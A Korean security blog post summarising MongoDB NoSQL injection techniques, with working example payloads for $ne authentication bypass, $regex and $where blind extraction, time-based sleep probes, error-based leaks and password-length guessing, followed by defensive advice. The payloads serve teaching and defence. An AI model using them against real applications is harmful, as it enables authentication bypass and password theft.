본문 바로가기
컴퓨터보안/웹서버

NoSQL Injection 기법 정리(MongoDB)

by 데이빗제이2 2024. 5. 20.

Blind NoSQL Injection 개요

Blind NoSQL Injection은 데이터베이스가 직접적인 에러 메시지나 데이터를 반환하지 않는 상황에서 참/거짓 결과를 이용해 정보를 추출하는 기법입니다. 이를 통해 공격자는 데이터베이스의 구조나 중요한 정보를 알아낼 수 있습니다.

주요 연산자

Name Description
$expr 쿼리 언어 내에서 집계 식을 사용할 수 있습니다.
$regex 지정된 정규식과 일치하는 문서를 선택합니다.
$text 지정된 텍스트를 검색합니다.
$where JavaScript 표현식을 만족하는 문서와 일치합니다.

더 많은 연산자는 MongoDB 연산자 공식 문서를 통해 확인할 수 있습니다.

공격 기법

1. 기본 NoSQL Injection

입력값을 조작하여 쿼리의 구조를 변경함으로써 의도하지 않은 데이터를 조회하거나 수정할 수 있습니다.

http://example.com/api/user?username[$ne]=admin&password[$ne]=password

이 쿼리는 usernamepassword가 주어진 값과 같지 않은 모든 사용자 데이터를 조회합니다.

2. $regex Injection

정규식을 사용하여 특정 패턴과 일치하는 데이터를 조회합니다.

db.user.find({upw: {$regex: "^a"}})
db.user.find({upw: {$regex: "^b"}})
db.user.find({upw: {$regex: "^c"}})
// ...
db.user.find({upw: {$regex: "^g"}})

3. $where Injection

JavaScript 표현식을 사용하여 조건을 만족하는 데이터를 조회합니다.

db.user.find({$where: "this.upw.length > 5"})

4. Substring Injection

JavaScript 표현식을 사용하여 문자열의 부분 문자열을 비교합니다.

db.user.find({$where: "this.upw.substring(0,1) == 'a'"})
db.user.find({$where: "this.upw.substring(0,1) == 'b'"})
// ...
db.user.find({$where: "this.upw.substring(0,1) == 'g'"})

5. Time-based Injection (Sleep 함수 사용)

응답 시간의 차이를 이용하여 조건의 참/거짓을 판별합니다.

db.user.find({$where: "function() { if (this.upw.substring(0,1) == 'a') { sleep(5000); return true; } return false; }"})
/*
/?uid=guest' && this.upw.substring(0,1)=='a' && sleep(5000) && '1
/?uid=guest' && this.upw.substring(0,1)=='b' && sleep(5000) && '1
/?uid=guest' && this.upw.substring(0,1)=='c' && sleep(5000) && '1
...
/?uid=guest' && this.upw.substring(0,1)=='g' && sleep(5000) && '1
*/

6. Error-based Injection

고의로 에러를 발생시켜 에러 메시지를 통해 정보를 추출합니다.

db.user.find({$where: "this.uid == 'guest' && this.upw.substring(0,1) == 'g' && asdf && '1'"});
error: {
    "$err" : "ReferenceError: asdf is not defined near '&& this.upw == 'g''",
    "code" : 16722
}

7. Boolean-based Blind Injection

참/거짓 결과를 통해 조건을 만족하는지 여부를 판별합니다.

db.user.find({$where: "this.upw == 'secret'"})
// 응답 결과를 통해 조건의 참/거짓을 판별

8. 비밀번호 길이 획득

정규식을 사용하여 비밀번호 길이를 추측합니다.

{"uid": "admin", "upw": {"$regex": ".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex": ".{6}"}}
=> undefined

이 쿼리를 통해 비밀번호 길이가 5임을 알 수 있습니다.

방어 기법

다양한 NoSQL Injection 기법을 통해 공격자는 데이터베이스 정보를 추출하거나 쿼리의 구조를 변경할 수 있습니다. 이러한 공격을 방지하기 위해 다음과 같은 방어 기법을 사용해야 합니다:

  • 입력값 검증: 모든 입력값에 대해 엄격한 검증을 수행합니다.
  • ORM/ODM 사용: Mongoose와 같은 ORM/ODM을 사용하여 쿼리를 안전하게 생성합니다.
  • 파라미터화된 쿼리: 쿼리를 작성할 때 사용자 입력값을 직접 포함하지 않고, 파라미터화된 쿼리를 사용합니다.
  • 보안 모듈 사용: Express Validator와 같은 보안 모듈을 사용하여 입력값을 검증합니다.
  • 최소 권한 원칙: 데이터베이스 사용자에게 최소한의 권한만 부여하여 권한 상승을 방지합니다.

'컴퓨터보안 > 웹서버' 카테고리의 다른 글

서버 관련 정리(자세히)  (0) 2024.05.23
커맨드 인젝션 (Command Injection)  (0) 2024.05.21
NoSQL Injection  (0) 2024.05.20
ServerSide: SQL Injection  (0) 2024.05.16
SQL 문법 예시 및 정리  (0) 2024.05.15